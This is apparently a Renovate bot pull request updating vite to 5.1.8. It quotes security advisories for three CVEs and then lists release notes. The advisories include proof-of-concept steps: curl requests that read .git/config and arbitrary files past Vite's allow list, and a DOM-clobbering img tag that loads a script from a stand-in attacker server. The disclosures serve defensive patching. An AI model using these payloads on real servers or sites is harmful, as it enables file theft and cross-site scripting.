chore(deps): update dependency vite to v5.1.8 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vite (source)	5.0.12 -> 5.1.8

GitHub Vulnerability Alerts

CVE-2024-31207

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in [email protected], [email protected], [email protected], [email protected], [email protected], [email protected]

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (https://github.com/micromatch/picomatch/issues/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

• with matchBase: true, you can get any file under .git/ (config, HEAD, etc).
• with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)

// extra.js
export default "https://myserver/justAnOther.js"

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

---

Release Notes

vitejs/vite (vite)

v5.1.8

Compare Source

Please refer to CHANGELOG.md for details.

v5.1.7

Compare Source

Please refer to CHANGELOG.md for details.

v5.1.6

Compare Source

• chore(deps): update all non-major dependencies (#​16131) (a862ecb), closes #​16131
• fix: check for publicDir before checking if it is a parent directory (#​16046) (b6fb323), closes #​16046
• fix: escape single quote when relative base is used (#​16060) (8f74ce4), closes #​16060
• fix: handle function property extension in namespace import (#​16113) (f699194), closes #​16113
• fix: server middleware mode resolve (#​16122) (8403546), closes #​16122
• fix(esbuild): update tsconfck to fix bug that could cause a deadlock (#​16124) (fd9de04), closes #​16124
• fix(worker): hide "The emitted file overwrites" warning if the content is same (#​16094) (60dfa9e), closes #​16094
• fix(worker): throw error when circular worker import is detected and support self referencing worker (eef9da1), closes #​16103
• style(utils): remove null check (#​16112) (0d2df52), closes #​16112
• refactor(runtime): share more code between runtime and main bundle (#​16063) (93be84e), closes #​16063

v5.1.5

Compare Source

• fix: __vite__mapDeps code injection (#​15732) (aff54e1), closes #​15732
• fix: analysing build chunk without dependencies (#​15469) (bd52283), closes #​15469
• fix: import with query with imports field (#​16085) (ab823ab), closes #​16085
• fix: normalize literal-only entry pattern (#​16010) (1dccc37), closes #​16010
• fix: optimizeDeps.entries with literal-only pattern(s) (#​15853) (49300b3), closes #​15853
• fix: output correct error for empty import specifier (#​16055) (a9112eb), closes #​16055
• fix: upgrade esbuild to 0.20.x (#​16062) (899d9b1), closes #​16062
• fix(runtime): runtime HMR affects only imported files (#​15898) (57463fc), closes #​15898
• fix(scanner): respect experimentalDecorators: true (#​15206) (4144781), closes #​15206
• revert: "fix: upgrade esbuild to 0.20.x" (#​16072) (11cceea), closes #​16072
• refactor: share code with vite runtime (#​15907) (b20d542), closes #​15907
• refactor(runtime): use functions from pathe (#​16061) (aac2ef7), closes #​16061
• chore(deps): update all non-major dependencies (#​16028) (7cfe80d), closes #​16028

v5.1.4

Compare Source

• perf: remove unnecessary regex s modifier (#​15766) (8dc1b73), closes #​15766
• fix: fs cached checks disabled by default for yarn pnp (#​15920) (8b11fea), closes #​15920
• fix: resolve directory correctly when fs.cachedChecks: true (#​15983) (4fe971f), closes #​15983
• fix: srcSet with optional descriptor (#​15905) (81b3bd0), closes #​15905
• fix(deps): update all non-major dependencies (#​15959) (571a3fd), closes #​15959
• fix(watch): build watch fails when outDir is empty string (#​15979) (1d263d3), closes #​15979

v5.1.3

Compare Source

• fix: cachedTransformMiddleware for direct css requests (#​15919) (5099028), closes #​15919
• refactor(runtime): minor tweaks (#​15904) (63a39c2), closes #​15904
• refactor(runtime): seal ES module namespace object instead of feezing (#​15914) (4172f02), closes #​15914

v5.1.2

Compare Source

• fix: normalize import file path info (#​15772) (306df44), closes #​15772
• fix(build): do not output build time when build fails (#​15711) (added3e), closes #​15711
• fix(runtime): pass path instead of fileURL to isFilePathESM (#​15908) (7b15607), closes #​15908
• fix(worker): support UTF-8 encoding in inline workers (fixes #​12117) (#​15866) (570e0f1), closes #​12117 #​15866
• chore: update license file (#​15885) (d9adf18), closes #​15885
• chore(deps): update all non-major dependencies (#​15874) (d16ce5d), closes #​15874
• chore(deps): update dependency dotenv-expand to v11 (#​15875) (642d528), closes #​15875

v5.1.1

Compare Source

• fix: empty CSS file was output when only .css?url is used (#​15846) (b2873ac), closes #​15846
• fix: skip not only .js but also .mjs manifest entries (#​15841) (3d860e7), closes #​15841
• chore: post 5.1 release edits (#​15840) (9da6502), closes #​15840

v5.1.0

Compare Source

• chore: revert #​15746 (#​15839) (ed875f8), closes #​15746 #​15839
• fix: pass customLogger to loadConfigFromFile (fix #​15824) (#​15831) (55a3427), closes #​15824 #​15831
• fix(deps): update all non-major dependencies (#​15803) (e0a6ef2), closes #​15803
• refactor: remove vite build --force (#​15837) (f1a4242), closes #​15837

v5.0.13

Compare Source

Please refer to CHANGELOG.md for details.

---

Configuration

📅 Schedule: Branch creation - "" in timezone America/New_York, Automerge - "every weekday" in timezone America/New_York.

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.